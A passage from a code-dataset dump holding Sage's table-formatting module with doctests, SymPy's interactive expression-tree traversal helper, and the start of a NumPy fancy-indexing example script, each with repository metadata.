\\begin{tabular}{|l|l|l|} \\hline\n        a & b & c \\\\ \\hline \\hline\n        $100$ & $2$ & $3$ \\\\ \\hline\n        $4$ & $5$ & $60$ \\\\ \\hline\n        \\end{tabular}\n        sage: table(rows, header_column=True)\n          a   | b   c\n          100 | 2   3\n          4   | 5   60\n\n    The argument ``header_row`` can, instead of being ``True`` or\n    ``False``, be the contents of the header row, so that ``rows``\n    consists of the data, while ``header_row`` is the header\n    information.  The same goes for ``header_column``. Passing lists\n    for both arguments simultaneously is not supported. ::\n\n        sage: table([(x,n(sin(x), digits=2)) for x in [0..3]], header_row=[\"$x$\", r\"$\\sin(x)$\"], frame=True)\n        +-----+-----------+\n        | $x$ | $\\sin(x)$ |\n        +=====+===========+\n        | 0   | 0.00      |\n        +-----+-----------+\n        | 1   | 0.84      |\n        +-----+-----------+\n        | 2   | 0.91      |\n        +-----+-----------+\n        | 3   | 0.14      |\n        +-----+-----------+\n\n    You can create the transpose of this table in several ways, for\n    example, \"by hand,\" that is, changing the data defining the table::\n\n        sage: table(rows=[[x for x in [0..3]], [n(sin(x), digits=2) for x in [0..3]]], header_column=['$x$', r'$\\sin(x)$'], frame=True)\n        +-----------++------+------+------+------+\n        | $x$       || 0    | 1    | 2    | 3    |\n        +-----------++------+------+------+------+\n        | $\\sin(x)$ || 0.00 | 0.84 | 0.91 | 0.14 |\n        +-----------++------+------+------+------+\n\n    or by passing the original data as the ``columns`` of the table\n    and using ``header_column`` instead of ``header_row``::\n\n        sage: table(columns=[(x,n(sin(x), digits=2)) for x in [0..3]], header_column=['$x$', r'$\\sin(x)$'], frame=True)\n        +-----------++------+------+------+------+\n        | $x$       || 0    | 1    | 2    | 3    |\n        +-----------++------+------+------+------+\n        | $\\sin(x)$ || 0.00 | 0.84 | 0.91 | 0.14 |\n        +-----------++------+------+------+------+\n\n    or by taking the :meth:`transpose` of the original table::\n\n        sage: table(rows=[(x,n(sin(x), digits=2)) for x in [0..3]], header_row=['$x$', r'$\\sin(x)$'], frame=True).transpose()\n        +-----------++------+------+------+------+\n        | $x$       || 0    | 1    | 2    | 3    |\n        +-----------++------+------+------+------+\n        | $\\sin(x)$ || 0.00 | 0.84 | 0.91 | 0.14 |\n        +-----------++------+------+------+------+\n\n    In either plain text or LaTeX, entries in tables can be aligned to the\n    left (default), center, or right::\n\n        sage: table(rows, align='left')\n          a     b   c\n          100   2   3\n          4     5   60\n        sage: table(rows, align='center')\n          a    b   c\n         100   2   3\n          4    5   60\n        sage: table(rows, align='right', frame=True)\n        +-----+---+----+\n        |   a | b |  c |\n        +-----+---+----+\n        | 100 | 2 |  3 |\n        +-----+---+----+\n        |   4 | 5 | 60 |\n        +-----+---+----+\n\n    To generate HTML you should use ``html(table(...))``::\n\n        sage: data = [[\"$x$\", r\"$\\sin(x)$\"]] + [(x,n(sin(x), digits=2)) for x in [0..3]]\n        sage: output = html(table(data, header_row=True, frame=True))\n        sage: type(output)\n        <class 'sage.misc.html.HtmlFragment'>\n        sage: print(output)\n        <div class=\"notruncate\">\n        <table border=\"1\" class=\"table_form\">\n        <tbody>\n        <tr>\n        <th style=\"text-align:left\">\\(x\\)</th>\n        <th style=\"text-align:left\">\\(\\sin(x)\\)</th>\n        </tr>\n        <tr class =\"row-a\">\n        <td style=\"text-align:left\">\\(0\\)</td>\n        <td style=\"text-align:left\">\\(0.00\\)</td>\n        </tr>\n        <tr class =\"row-b\">\n        <td style=\"text-align:left\">\\(1\\)</td>\n        <td style=\"text-align:left\">\\(0.84\\)</td>\n        </tr>\n        <tr class =\"row-a\">\n        <td style=\"text-align:left\">\\(2\\)</td>\n        <td style=\"text-align:left\">\\(0.91\\)</td>\n        </tr>\n        <tr class =\"row-b\">\n        <td style=\"text-align:left\">\\(3\\)</td>\n        <td style=\"text-align:left\">\\(0.14\\)</td>\n        </tr>\n        </tbody>\n        </table>\n        </div>\n\n    It is an error to specify both ``rows`` and ``columns``::\n\n        sage: table(rows=[[1,2,3], [4,5,6]], columns=[[0,0,0], [0,0,1024]])\n        Traceback (most recent call last):\n        ...\n        ValueError: Don't set both 'rows' and 'columns' when defining a table.\n\n        sage: table(columns=[[0,0,0], [0,0,1024]])\n        0 0\n        0 0\n        0 1024\n\n    Note that if ``rows`` is just a list or tuple, not nested, then\n    it is treated as a single row::\n\n        sage: table([1,2,3])\n        1   2   3\n\n    Also, if you pass a non-rectangular array, the longer rows or\n    columns get truncated::\n\n        sage: table([[1,2,3,7,12], [4,5]])\n        1   2\n        4   5\n        sage: table(columns=[[1,2,3], [4,5,6,7]])\n        1   4\n        2   5\n        3   6\n\n    TESTS::\n\n        sage: TestSuite(table([[\"$x$\", r\"$\\sin(x)$\"]] +\n        ....:                  [(x,n(sin(x), digits=2)) for x in [0..3]],\n        ....:                 header_row=True, frame=True)).run()\n\n    .. automethod:: _rich_repr_\n    \"\"\"\n    def __init__(self, rows=None, columns=None, header_row=False,\n                 header_column=False, frame=False, align='left'):\n        r\"\"\"\n        EXAMPLES::\n\n            sage: table([1,2,3], frame=True)\n            +---+---+---+\n            | 1 | 2 | 3 |\n            +---+---+---+\n        \"\"\"\n        # If both rows and columns are set, raise an error.\n        if rows and columns:\n            raise ValueError(\"Don't set both 'rows' and 'columns' when defining a table.\")\n        # If columns is set, use its transpose for rows.\n        if columns:\n            rows = list(zip(*columns))\n        # Set the rest of the options.\n        self._options = {}\n        if header_row is True:\n            self._options['header_row'] = True\n        elif header_row:\n            self._options['header_row'] = True\n            rows = [header_row] + rows\n        else:\n            self._options['header_row'] = False\n        if header_column is True:\n            self._options['header_column'] = True\n        elif header_column:\n            self._options['header_column'] = True\n            rows = [(a,) + tuple(x) for (a,x) in zip(header_column, rows)]\n        else:\n            self._options['header_column'] = False\n\n        self._options['frame'] = frame\n        self._options['align'] = align\n        # Store rows as a tuple.\n        if not isinstance(rows[0], (list, tuple)):\n            rows = (rows,)\n        self._rows = tuple(rows)\n\n    def __eq__(self, other):\n        r\"\"\"\n        Two tables are equal if and only if their data rowss and\n        their options are the same.\n\n        EXAMPLES::\n\n            sage: rows = [['a', 'b', 'c'], [1,plot(sin(x)),3], [4,5,identity_matrix(2)]]\n            sage: T = table(rows, header_row=True)\n            sage: T2 = table(rows, header_row=True)\n            sage: T is T2\n            False\n            sage: T == T2\n            True\n            sage: T2.options(frame=True)\n            sage: T == T2\n            False\n        \"\"\"\n        return (self._rows == other._rows and self.options() == other.options())\n\n    def options(self, **kwds):\n        r\"\"\"\n        With no arguments, return the dictionary of options for this\n        table. With arguments, modify options.\n\n        INPUT:\n\n        - ``header_row`` - if True, first row is highlighted.\n        - ``header_column`` - if True, first column is highlighted.\n        - ``frame`` - if True, put a box around each cell.\n        - ``align`` - the alignment of each entry: either 'left',\n          'center', or 'right'\n\n        EXAMPLES::\n\n            sage: T = table([['a', 'b', 'c'], [1,2,3]])\n            sage: T.options()['align'], T.options()['frame']\n            ('left', False)\n            sage: T.options(align='right', frame=True)\n            sage: T.options()['align'], T.options()['frame']\n            ('right', True)\n\n        Note that when first initializing a table, ``header_row`` or\n        ``header_column`` can be a list. In this case, during the\n        initialization process, the header is merged with the rest of\n        the data, so changing the header option later using\n        ``table.options(...)`` doesn't affect the contents of the\n        table, just whether the row or column is highlighted. When\n        using this :meth:`options` method, no merging of data occurs,\n        so here ``header_row`` and ``header_column`` should just be\n        ``True`` or ``False``, not a list. ::\n\n            sage: T = table([[1,2,3], [4,5,6]], header_row=['a', 'b', 'c'], frame=True)\n            sage: T\n            +---+---+---+\n            | a | b | c |\n            +===+===+===+\n            | 1 | 2 | 3 |\n            +---+---+---+\n            | 4 | 5 | 6 |\n            +---+---+---+\n            sage: T.options(header_row=False)\n            sage: T\n            +---+---+---+\n            | a | b | c |\n            +---+---+---+\n            | 1 | 2 | 3 |\n            +---+---+---+\n            | 4 | 5 | 6 |\n            +---+---+---+\n\n        If you do specify a list for ``header_row``, an error is raised::\n\n            sage: T.options(header_row=['x', 'y', 'z'])\n            Traceback (most recent call last):\n            ...\n            TypeError: header_row should be either True or False.\n        \"\"\"\n        if kwds:\n            for option in ['align', 'frame']:\n                if option in kwds:\n                    self._options[option] = kwds[option]\n            for option in ['header_row', 'header_column']:\n                if option in kwds:\n                    if not kwds[option]:\n                        self._options[option] = kwds[option]\n                    elif kwds[option] is True:\n                        self._options[option] = kwds[option]\n                    else:\n                        raise TypeError(\"%s should be either True or False.\" % option)\n        else:\n            return self._options\n\n    def transpose(self):\n        r\"\"\"\n        Return a table which is the transpose of this one:\n        rows and columns have been interchanged. Several of the\n        properties of the original table are preserved: whether a\n        frame is present and any alignment setting. On the other hand,\n        header rows are converted to header columns, and vice versa.\n\n        EXAMPLES::\n\n            sage: T = table([[1,2,3], [4,5,6]])\n            sage: T.transpose()\n              1   4\n              2   5\n              3   6\n            sage: T = table([[1,2,3], [4,5,6]], header_row=['x', 'y', 'z'], frame=True)\n            sage: T.transpose()\n            +---++---+---+\n            | x || 1 | 4 |\n            +---++---+---+\n            | y || 2 | 5 |\n            +---++---+---+\n            | z || 3 | 6 |\n            +---++---+---+\n        \"\"\"\n        return table(list(zip(*self._rows)),\n                     header_row=self._options['header_column'],\n                     header_column=self._options['header_row'],\n                     frame=self._options['frame'],\n                     align=self._options['align'])\n\n    @cached_method\n    def _widths(self):\n        r\"\"\"\n        The maximum widths for (the string representation of) each\n        column. Used by the :meth:`_repr_` method.\n\n        EXAMPLES::\n\n            sage: table([['a', 'bb', 'ccccc'], [10, -12, 0], [1, 2, 3]])._widths()\n            (2, 3, 5)\n        \"\"\"\n        nc = len(self._rows[0])\n\n        widths = [0] * nc\n        for row in self._rows:\n            w = []\n            for (idx, x) in zip(range(nc), row):\n                w.append(max(widths[idx], len(str(x))))\n            widths = w\n        return tuple(widths)\n\n    def _repr_(self):\n        r\"\"\"\n        String representation of a table.\n\n        The class docstring has many examples; here is one more.\n\n        EXAMPLES::\n\n            sage: table([['a', 'bb', 'ccccc'], [10, -12, 0], [1, 2, 3]], align='right') # indirect doctest\n               a    bb   ccccc\n              10   -12       0\n               1     2       3\n        \"\"\"\n        rows = self._rows\n        nc = len(rows[0])\n        if len(rows) == 0 or nc == 0:\n            return \"\"\n\n        frame_line = \"+\" + \"+\".join(\"-\" * (x+2) for x in self._widths()) + \"+\\n\"\n\n        if self._options['header_column'] and self._options['frame']:\n            frame_line = \"+\" + frame_line[1:].replace('+', '++', 1)\n\n        if self._options['frame']:\n            s = frame_line\n        else:\n            s = \"\"\n\n        if self._options['header_row']:\n            s += self._str_table_row(rows[0], header_row=True)\n            rows = rows[1:]\n\n        for row in rows:\n            s += self._str_table_row(row, header_row=False)\n        return s.strip(\"\\n\")\n\n    def _rich_repr_(self, display_manager, **kwds):\n        \"\"\"\n        Rich Output Magic Method\n\n        See :mod:`sage.repl.rich_output` for details.\n\n        EXAMPLES::\n\n            sage: from sage.repl.rich_output import get_display_manager\n            sage: dm = get_display_manager()\n            sage: t = table([1, 2, 3])\n            sage: t._rich_repr_(dm)    # the doctest backend does not support html\n        \"\"\"\n        OutputHtml = display_manager.types.OutputHtml\n        if OutputHtml in display_manager.supported_output():\n            return OutputHtml(self._html_())\n\n    def _str_table_row(self, row, header_row=False):\n        r\"\"\"\n        String representation of a row of a table. Used by the\n        :meth:`_repr_` method.\n\n        EXAMPLES::\n\n            sage: T = table([['a', 'bb', 'ccccc'], [10, -12, 0], [1, 2, 3]], align='right')\n            sage: T._str_table_row([1,2,3])\n            '   1     2       3\\n'\n            sage: T._str_table_row([1,2,3], True)\n            '   1     2       3\\n+----+-----+-------+\\n'\n            sage: T.options(header_column=True)\n            sage: T._str_table_row([1,2,3], True)\n            '   1 |   2       3\\n+----+-----+-------+\\n'\n            sage: T.options(frame=True)\n            sage: T._str_table_row([1,2,3], False)\n            '|  1 ||   2 |     3 |\\n+----++-----+-------+\\n'\n\n        Check that :trac:`14601` has been fixed::\n\n            sage: table([['111111', '222222', '333333']])._str_table_row([False,True,None], False)\n            '  False    True     None\\n'\n        \"\"\"\n        frame = self._options['frame']\n        widths = self._widths()\n        frame_line = \"+\" + \"+\".join(\"-\" * (x+2) for x in widths) + \"+\\n\"\n\n        align = self._options['align']\n        if align == 'right':\n            align_char = '>'\n        elif align == 'center':\n            align_char = '^'\n        else:\n            align_char = '<'\n\n        s = \"\"\n        if frame:\n            s += \"| \"\n        else:\n            s += \"  \"\n\n        if self._options['header_column']:\n            if frame:\n                frame_line = \"+\" + frame_line[1:].replace('+', '++', 1)\n            s += (\"{!s:\" + align_char + str(widths[0]) + \"}\").format(row[0])\n            if frame:\n                s += \" || \"\n            else:\n                s += \" | \"\n            row = row[1:]\n            widths = widths[1:]\n\n        for (entry, width) in zip(row, widths):\n            s += (\"{!s:\" + align_char + str(width) + \"}\").format(entry)\n            if frame:\n                s += \" | \"\n            else:\n                s += \"   \"\n        s = s.rstrip(' ')\n        s += \"\\n\"\n        if frame and header_row:\n            s += frame_line.replace('-', '=')\n        elif frame or header_row:\n            s += frame_line\n        return s\n\n    def _latex_(self):\n        r\"\"\"\n        LaTeX representation of a table.\n\n        If an entry is a Sage object, it is replaced by its LaTeX\n        representation, delimited by dollar signs (i.e., ``x`` is\n        replaced by ``$latex(x)$``). If an entry is a string, the\n        dollar signs are not automatically added, so tables can\n        include both plain text and mathematics.\n\n        OUTPUT:\n\n        String.\n\n        EXAMPLES::\n\n            sage: from sage.misc.table import table\n            sage: a = [[r'$\\sin(x)$', '$x$', 'text'], [1,34342,3], [identity_matrix(2),5,6]]\n            sage: latex(table(a)) # indirect doctest\n            \\begin{tabular}{lll}\n            $\\sin(x)$ & $x$ & text \\\\\n            $1$ & $34342$ & $3$ \\\\\n            $\\left(\\begin{array}{rr}\n            1 & 0 \\\\\n            0 & 1\n            \\end{array}\\right)$ & $5$ & $6$ \\\\\n            \\end{tabular}\n            sage: latex(table(a, frame=True, align='center'))\n            \\begin{tabular}{|c|c|c|} \\hline\n            $\\sin(x)$ & $x$ & text \\\\ \\hline\n            $1$ & $34342$ & $3$ \\\\ \\hline\n            $\\left(\\begin{array}{rr}\n            1 & 0 \\\\\n            0 & 1\n            \\end{array}\\right)$ & $5$ & $6$ \\\\ \\hline\n            \\end{tabular}\n        \"\"\"\n        from .latex import latex, LatexExpr\n\n        rows = self._rows\n        nc = len(rows[0])\n        if len(rows) == 0 or nc == 0:\n            return \"\"\n\n        align_char = self._options['align'][0]   # 'l', 'c', 'r'\n        if self._options['frame']:\n            frame_char = '|'\n            frame_str = ' \\\\hline'\n        else:\n            frame_char = ''\n            frame_str = ''\n        if self._options['header_column']:\n            head_col_char = '|'\n        else:\n            head_col_char = ''\n        if self._options['header_row']:\n            head_row_str = ' \\\\hline'\n        else:\n            head_row_str = ''\n\n        # table header\n        s = \"\\\\begin{tabular}{\"\n        s += frame_char + align_char + frame_char + head_col_char\n        s += frame_char.join([align_char] * (nc-1))\n        s += frame_char + \"}\" + frame_str + \"\\n\"\n        # first row\n        s += \" & \".join(LatexExpr(x) if isinstance(x, (str, LatexExpr))\n                      else '$' + latex(x).strip() + '$' for x in rows[0])\n        s += \" \\\\\\\\\" + frame_str + head_row_str + \"\\n\"\n        # other rows\n        for row in rows[1:]:\n            s += \" & \".join(LatexExpr(x) if isinstance(x, (str, LatexExpr))\n                          else '$' + latex(x).strip() + '$' for x in row)\n            s += \" \\\\\\\\\" + frame_str + \"\\n\"\n        s += \"\\\\end{tabular}\"\n        return s\n\n    def _html_(self):\n        r\"\"\"\n        HTML representation of a table.\n\n        Strings of html will be parsed for math inside dollar and\n        double-dollar signs.  2D graphics will be displayed in the\n        cells.  Expressions will be latexed.\n\n        The ``align`` option for tables is ignored in HTML\n        output. Specifying ``header_column=True`` may not have any\n        visible effect in the Sage notebook, depending on the version\n        of the notebook.\n\n        OUTPUT:\n\n        A :class:`~sage.misc.html.HtmlFragment` instance.\n\n        EXAMPLES::\n\n            sage: T = table([[r'$\\sin(x)$', '$x$', 'text'], [1,34342,3], [identity_matrix(2),5,6]])\n            sage: T._html_()\n            '<div.../div>'\n            sage: print(T._html_())\n            <div class=\"notruncate\">\n            <table  class=\"table_form\">\n            <tbody>\n            <tr class =\"row-a\">\n            <td style=\"text-align:left\">\\(\\sin(x)\\)</td>\n            <td style=\"text-align:left\">\\(x\\)</td>\n            <td style=\"text-align:left\">text</td>\n            </tr>\n            <tr class =\"row-b\">\n            <td style=\"text-align:left\">\\(1\\)</td>\n            <td style=\"text-align:left\">\\(34342\\)</td>\n            <td style=\"text-align:left\">\\(3\\)</td>\n            </tr>\n            <tr class =\"row-a\">\n            <td style=\"text-align:left\">\\(\\left(\\begin{array}{rr}\n            1 & 0 \\\\\n            0 & 1\n            \\end{array}\\right)\\)</td>\n            <td style=\"text-align:left\">\\(5\\)</td>\n            <td style=\"text-align:left\">\\(6\\)</td>\n            </tr>\n            </tbody>\n            </table>\n            </div>\n\n        Note that calling ``html(table(...))`` has the same effect as\n        calling ``table(...)._html_()``::\n\n            sage: T = table([[\"$x$\", r\"$\\sin(x)$\"]] + [(x,n(sin(x), digits=2)) for x in [0..3]], header_row=True, frame=True)\n            sage: T\n            +-----+-----------+\n            | $x$ | $\\sin(x)$ |\n            +=====+===========+\n            | 0   | 0.00      |\n            +-----+-----------+\n            | 1   | 0.84      |\n            +-----+-----------+\n            | 2   | 0.91      |\n            +-----+-----------+\n            | 3   | 0.14      |\n            +-----+-----------+\n            sage: print(html(T))\n            <div class=\"notruncate\">\n            <table border=\"1\" class=\"table_form\">\n            <tbody>\n            <tr>\n            <th style=\"text-align:left\">\\(x\\)</th>\n            <th style=\"text-align:left\">\\(\\sin(x)\\)</th>\n            </tr>\n            <tr class =\"row-a\">\n            <td style=\"text-align:left\">\\(0\\)</td>\n            <td style=\"text-align:left\">\\(0.00\\)</td>\n            </tr>\n            <tr class =\"row-b\">\n            <td style=\"text-align:left\">\\(1\\)</td>\n            <td style=\"text-align:left\">\\(0.84\\)</td>\n            </tr>\n            <tr class =\"row-a\">\n            <td style=\"text-align:left\">\\(2\\)</td>\n            <td style=\"text-align:left\">\\(0.91\\)</td>\n            </tr>\n            <tr class =\"row-b\">\n            <td style=\"text-align:left\">\\(3\\)</td>\n            <td style=\"text-align:left\">\\(0.14\\)</td>\n            </tr>\n            </tbody>\n            </table>\n            </div>\n        \"\"\"\n        from itertools import cycle\n        rows = self._rows\n        header_row = self._options['header_row']\n        if self._options['frame']:\n            frame = 'border=\"1\"'\n        else:\n            frame = ''\n        s = StringIO()\n        if rows:\n            s.writelines([\n                # If the table has < 100 rows, don't truncate the output in the notebook\n                '<div class=\"notruncate\">\\n' if len(rows) <= 100 else '<div class=\"truncate\">' ,\n                '<table {} class=\"table_form\">\\n'.format(frame),\n                '<tbody>\\n',\n            ])\n            # First row:\n            if header_row:\n                s.write('<tr>\\n')\n                self._html_table_row(s, rows[0], header=header_row)\n                s.write('</tr>\\n')\n                rows = rows[1:]\n\n            # Other rows:\n            for row_class, row in zip(cycle([\"row-a\", \"row-b\"]), rows):\n                s.write('<tr class =\"{}\">\\n'.format(row_class))\n                self._html_table_row(s, row, header=False)\n                s.write('</tr>\\n')\n            s.write('</tbody>\\n</table>\\n</div>')\n        return s.getvalue()\n\n    def _html_table_row(self, file, row, header=False):\n        r\"\"\"\n        Write table row\n\n        Helper method used by the :meth:`_html_` method.\n\n        INPUT:\n\n        - ``file`` -- file-like object. The table row data will be\n          written to it.\n\n        - ``row`` -- a list with the same number of entries as each row\n          of the table.\n\n        - ``header`` -- bool (default False). If True, treat this as a\n          header row, using ``<th>`` instead of ``<td>``.\n\n        OUTPUT:\n\n        This method returns nothing. All output is written to ``file``.\n\n        Strings are written verbatim unless they seem to be LaTeX\n        code, in which case they are enclosed in a ``script`` tag\n        appropriate for MathJax. Sage objects are printed using their\n        LaTeX representations.\n\n        EXAMPLES::\n\n            sage: T = table([['a', 'bb', 'ccccc'], [10, -12, 0], [1, 2, 3]])\n            sage: from io import StringIO\n            sage: s = StringIO()\n            sage: T._html_table_row(s, ['a', 2, '$x$'])\n            sage: print(s.getvalue())\n            <td style=\"text-align:left\">a</td>\n            <td style=\"text-align:left\">\\(2\\)</td>\n            <td style=\"text-align:left\">\\(x\\)</td>\n        \"\"\"\n        from sage.plot.all import Graphics\n        from .latex import latex\n        from .html import math_parse\n        import types\n\n        if isinstance(row, types.GeneratorType):\n            row = list(row)\n        elif not isinstance(row, (list, tuple)):\n            row = [row]\n\n        align_char = self._options['align'][0]   # 'l', 'c', 'r'\n\n        if align_char == 'l':\n            style = 'text-align:left'\n        elif align_char == 'c':\n            style = 'text-align:center'\n        elif align_char == 'r':\n            style = 'text-align:right'\n        else:\n            style = ''\n\n        style_attr = f' style=\"{style}\"' if style else ''\n\n        column_tag = f'<th{style_attr}>%s</th>\\n' if header else f'<td{style_attr}>%s</td>\\n'\n\n        if self._options['header_column']:\n            first_column_tag = '<th class=\"ch\"{style_attr}>%s</th>\\n' if header else '<td class=\"ch\"{style_attr}>%s</td>\\n'\n        else:\n            first_column_tag = column_tag\n\n        # first entry of row\n        entry = row[0]\n        if isinstance(entry, Graphics):\n            file.write(first_column_tag % entry.show(linkmode = True))\n        elif isinstance(entry, str):\n            file.write(first_column_tag % math_parse(entry))\n        else:\n            file.write(first_column_tag % (r'\\(%s\\)' % latex(entry)))\n\n        # other entries\n        for column in range(1, len(row)):\n            if isinstance(row[column], Graphics):\n                file.write(column_tag % row[column].show(linkmode = True))\n            elif isinstance(row[column], str):\n                file.write(column_tag % math_parse(row[column]))\n            else:\n                file.write(column_tag % (r'\\(%s\\)' % latex(row[column])))\n", "meta": {"hexsha": "8610f06df0dcc5083a1392713a627e4ab2e69d85", "size": 28312, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/misc/table.py", "max_stars_repo_name": "UCD4IDS/sage", "max_stars_repo_head_hexsha": "43474c96d533fd396fe29fe0782d44dc7f5164f7", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 1742, "max_stars_repo_stars_event_min_datetime": "2015-01-04T07:06:13.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T11:32:52.000Z", "max_issues_repo_path": "src/sage/misc/table.py", "max_issues_repo_name": "UCD4IDS/sage", "max_issues_repo_head_hexsha": "43474c96d533fd396fe29fe0782d44dc7f5164f7", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": 66, "max_issues_repo_issues_event_min_datetime": "2015-03-19T19:17:24.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-16T11:59:30.000Z", "max_forks_repo_path": "src/sage/misc/table.py", "max_forks_repo_name": "UCD4IDS/sage", "max_forks_repo_head_hexsha": "43474c96d533fd396fe29fe0782d44dc7f5164f7", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 495, "max_forks_repo_forks_event_min_datetime": "2015-01-10T10:23:18.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-24T22:06:11.000Z", "avg_line_length": 34.1108433735, "max_line_length": 135, "alphanum_fraction": 0.4533766601, "include": true, "reason": "from sage", "num_tokens": 7633, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.411110869232168, "lm_q2_score": 0.14033624409696624, "lm_q1q2_score": 0.05769375529548149}}
{"text": "from sympy.core.basic import Basic\nfrom sympy.printing import pprint\n\nimport random\n\ndef interactive_traversal(expr):\n    \"\"\"Traverse a tree asking a user which branch to choose. \"\"\"\n\n    RED, BRED = '\\033[0;31m', '\\033[1;31m'\n    GREEN, BGREEN = '\\033[0;32m', '\\033[1;32m'\n    YELLOW, BYELLOW = '\\033[0;33m', '\\033[1;33m'  # noqa\n    BLUE, BBLUE = '\\033[0;34m', '\\033[1;34m'      # noqa\n    MAGENTA, BMAGENTA = '\\033[0;35m', '\\033[1;35m'# noqa\n    CYAN, BCYAN = '\\033[0;36m', '\\033[1;36m'      # noqa\n    END = '\\033[0m'\n\n    def cprint(*args):\n        print(\"\".join(map(str, args)) + END)\n\n    def _interactive_traversal(expr, stage):\n        if stage > 0:\n            print()\n\n        cprint(\"Current expression (stage \", BYELLOW, stage, END, \"):\")\n        print(BCYAN)\n        pprint(expr)\n        print(END)\n\n        if isinstance(expr, Basic):\n            if expr.is_Add:\n                args = expr.as_ordered_terms()\n            elif expr.is_Mul:\n                args = expr.as_ordered_factors()\n            else:\n                args = expr.args\n        elif hasattr(expr, \"__iter__\"):\n            args = list(expr)\n        else:\n            return expr\n\n        n_args = len(args)\n\n        if not n_args:\n            return expr\n\n        for i, arg in enumerate(args):\n            cprint(GREEN, \"[\", BGREEN, i, GREEN, \"] \", BLUE, type(arg), END)\n            pprint(arg)\n            print()\n\n        if n_args == 1:\n            choices = '0'\n        else:\n            choices = '0-%d' % (n_args - 1)\n\n        try:\n            choice = input(\"Your choice [%s,f,l,r,d,?]: \" % choices)\n        except EOFError:\n            result = expr\n            print()\n        else:\n            if choice == '?':\n                cprint(RED, \"%s - select subexpression with the given index\" %\n                       choices)\n                cprint(RED, \"f - select the first subexpression\")\n                cprint(RED, \"l - select the last subexpression\")\n                cprint(RED, \"r - select a random subexpression\")\n                cprint(RED, \"d - done\\n\")\n\n                result = _interactive_traversal(expr, stage)\n            elif choice in ('d', ''):\n                result = expr\n            elif choice == 'f':\n                result = _interactive_traversal(args[0], stage + 1)\n            elif choice == 'l':\n                result = _interactive_traversal(args[-1], stage + 1)\n            elif choice == 'r':\n                result = _interactive_traversal(random.choice(args), stage + 1)\n            else:\n                try:\n                    choice = int(choice)\n                except ValueError:\n                    cprint(BRED,\n                           \"Choice must be a number in %s range\\n\" % choices)\n                    result = _interactive_traversal(expr, stage)\n                else:\n                    if choice < 0 or choice >= n_args:\n                        cprint(BRED, \"Choice must be in %s range\\n\" % choices)\n                        result = _interactive_traversal(expr, stage)\n                    else:\n                        result = _interactive_traversal(args[choice], stage + 1)\n\n        return result\n\n    return _interactive_traversal(expr, 0)\n", "meta": {"hexsha": "1315ec4ef7868b666bb6b978b3d8b20442d100b0", "size": 3189, "ext": "py", "lang": "Python", "max_stars_repo_path": "sympy/interactive/traversal.py", "max_stars_repo_name": "utkarshdeorah/sympy", "max_stars_repo_head_hexsha": "dcdf59bbc6b13ddbc329431adf72fcee294b6389", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 8323, "max_stars_repo_stars_event_min_datetime": "2015-01-02T15:51:43.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T13:13:19.000Z", "max_issues_repo_path": "sympy/interactive/traversal.py", "max_issues_repo_name": "utkarshdeorah/sympy", "max_issues_repo_head_hexsha": "dcdf59bbc6b13ddbc329431adf72fcee294b6389", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 15102, "max_issues_repo_issues_event_min_datetime": "2015-01-01T01:33:17.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T22:53:13.000Z", "max_forks_repo_path": "sympy/interactive/traversal.py", "max_forks_repo_name": "utkarshdeorah/sympy", "max_forks_repo_head_hexsha": "dcdf59bbc6b13ddbc329431adf72fcee294b6389", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 4490, "max_forks_repo_forks_event_min_datetime": "2015-01-01T17:48:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T17:24:05.000Z", "avg_line_length": 33.21875, "max_line_length": 80, "alphanum_fraction": 0.4898087175, "include": true, "reason": "from sympy", "num_tokens": 775, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44552954976388504, "lm_q2_score": 0.12940273159163906, "lm_q1q2_score": 0.05765274074423982}}
{"text": "import numpy as np\n\na = np.arange(10) * 10\nprint(a)\n# [ 0 10 20 30 40 50 60 70 80 90]\n\nprint(a[5])\n# 50\n\nprint(a[8])\n# 80\n\nprint(a[[5, 8]])\n# [50 80]\n\nprint(a[[5, 4, 8, 0]])\n# [50 40 80  0]\n\nprint(a[[5, 5, 5, 5]])\n# [50 50 50 50]\n\nidx = np.array([[5, 4], [8, 0]])\nprint(idx)\n# [[5 4]\n#  [8 0]]\n\nprint(a[idx])\n# [[50 40]\n#  [80  0]]\n\n# print(a[[[5, 4], [8, 0]]])\n# IndexError: too many indices for array\n\nprint(a[[[[5, 4], [8, 0]]]])\n# [[50 40]\n#  [80  0]]\n\na_2d = np.arange(12).reshape((3, 4))\nprint(a_2d)\n# [[ 0  1  2  3]\n#  [ 4  5  6  7]\n#  [ 8  9 10 11]]\n\nprint(a_2d[0])\n# [0 1 2 3]\n\nprint(a_2d[2])\n# [ 8  9 10 11]\n\nprint(a_2d[[2, 0]])\n# [[ 8  9 10 11]\n#  [ 0  1  2  3]]\n\nprint(a_2d[[2, 2, 2]])\n# [[ 8  9 10 11]\n#  [ 8  9 10 11]\n#  [ 8  9 10 11]]\n\nprint(a_2d[:, 1])\n# [1 5 9]\n\nprint(a_2d[:, 3])\n# [ 3  7 11]\n\nprint(a_2d[:, 1:2])\n# [[1]\n#  [5]\n#  [9]]\n\nprint(a_2d[:, [3, 1]])\n# [[ 3  1]\n#  [ 7  5]\n#  [11  9]]\n\nprint(a_2d[:, [3, 3, 3]])\n# [[ 3  3  3]\n#  [ 7  7  7]\n#  [11 11 11]]\n\nprint(a_2d[0, 1])\n# 1\n\nprint(a_2d[2, 3])\n# 11\n\nprint(a_2d[[0, 2], [1, 3]])\n# [ 1 11]\n\n# index\n# [[0, 1] [2, 3]]\n\n# print(a_2d[[0, 2, 1], [1, 3]])\n# IndexError: shape mismatch: indexing arrays could not be broadcast together with shapes (3,) (2,) \n\nprint(a_2d[[[0, 0], [2, 2]], [[1, 3], [1, 3]]])\n# [[ 1  3]\n#  [ 9 11]]\n\n# index\n# [[0, 